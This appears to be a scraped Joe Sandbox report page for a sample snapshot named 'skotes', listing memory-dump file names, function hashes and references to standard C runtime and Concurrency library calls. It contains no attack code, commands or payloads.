Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_$TaskToken$Base::_CallbackCancellationCollectionCollection::_CountH_prolog3_catchRegisterStateState::_Structured
String ID:
API String ID: 2092016602-0
Opcode ID: 0b6dcc2f393752050b43de7ab4557a36653d369aa13a65a43f9a3f333c236a5c
Instruction ID: 8d336b3074756dc0d65c6025585cdccb15b0674b23717f7fe1dc610556b96772
Opcode Fuzzy Hash: 0b6dcc2f393752050b43de7ab4557a36653d369aa13a65a43f9a3f333c236a5c
Instruction Fuzzy Hash: B0316071E006159BCF54DFA8C4915EDFBF7BF49710B14822DE416AB391CB34AA81CB94

Function 0062BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0062BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0062BBE4
_xtime_get.LIBCPMT ref: 0062BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0062BC13

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 4c1f480c1c024b2867266dd2b8aa29b32d3dbc618c0f37f5eabec24eddf8aa43
Instruction ID: 544551bdc226d239f300b9b3947630fadadfc86e669365350b3237f1a9ad1a81
Opcode Fuzzy Hash: 4c1f480c1c024b2867266dd2b8aa29b32d3dbc618c0f37f5eabec24eddf8aa43
Instruction Fuzzy Hash: E9213271A00529AFDF40EFA4ED819BEB7BAEF08720F101029F901B7251DB709D419FA4

Function 00639C95 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00639C9C
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 00639CE8
std::bad_exception::bad_exception.LIBCMT ref: 00639CFE
std::bad_exception::bad_exception.LIBCMT ref: 00639D6A

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_SchedulerValidValue
String ID:
API String ID: 2033596534-0
Opcode ID: 5725734c5351b5826609096eed807be75082f3c8bc5252c4550a01eb9b3c9c19
Instruction ID: f80244b4c36034c22176ea9f3c7e348febb1f4b6197d04c5a87abc0e0e0338a9
Opcode Fuzzy Hash: 5725734c5351b5826609096eed807be75082f3c8bc5252c4550a01eb9b3c9c19
Instruction Fuzzy Hash: 1B2186759009149FDB45EF68D9839ADB7B6EF05310F214069F001AB252DB716D42CFA5

Function 0063A026 Relevance: 6.1, APIs: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 0063A069

Part of subcall function 0063B560: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 0063B5AF

Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 0063A07F
Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 0063A0CB

Part of subcall function 0063AB41: List.LIBCONCRT ref: 0063AB77

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 0063A0DB

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$ExecutionHardware$AffinityAffinity::BorrowedCoreCountCurrentFixedIncrementListResourceResource::StateToggle
String ID:
API String ID: 932774601-0
Opcode ID: 9439c87c4149305800a74a94a62e19263da1499f620fb72571e1f88fb877ba31
Instruction ID: d2a51506212afb5709e94741bc1bbbec8d4a377bd66f79cadbd00ce883cdd68c
Opcode Fuzzy Hash: 9439c87c4149305800a74a94a62e19263da1499f620fb72571e1f88fb877ba31
Instruction Fuzzy Hash: 7921AE31500A149FCB28EFA5D9908AAF3F6FF48310B00555DE582A7651DB30B905DBE6

Function 00634885 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00634893
ListArray.LIBCONCRT ref: 006348A5

Part of subcall function 00635555: _InternalDeleteHelper.LIBCONCRT ref: 00635564

ListArray.LIBCONCRT ref: 006348AF
_InternalDeleteHelper.LIBCONCRT ref: 006348C8

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 293897c63459ee9c3c039fb42dad99d0efc27a16a5e5b00feff88103d6de69a9
Instruction ID: d843f3bc8597e3ad13e3dbd22f4b1e8e55cfb966bfd71c30f9afd14c813fa179
Opcode Fuzzy Hash: 293897c63459ee9c3c039fb42dad99d0efc27a16a5e5b00feff88103d6de69a9
Instruction Fuzzy Hash: E401D171600921AFCA65BF64E8C2E6EF76BBF44720B04052DF80597612CF20FC218BE4

Function 0063EE5C Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 0063EE6A
ListArray.LIBCONCRT ref: 0063EE7C

Part of subcall function 0063EF29: _InternalDeleteHelper.LIBCONCRT ref: 0063EF3B

ListArray.LIBCONCRT ref: 0063EE86
_InternalDeleteHelper.LIBCONCRT ref: 0063EE9F

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
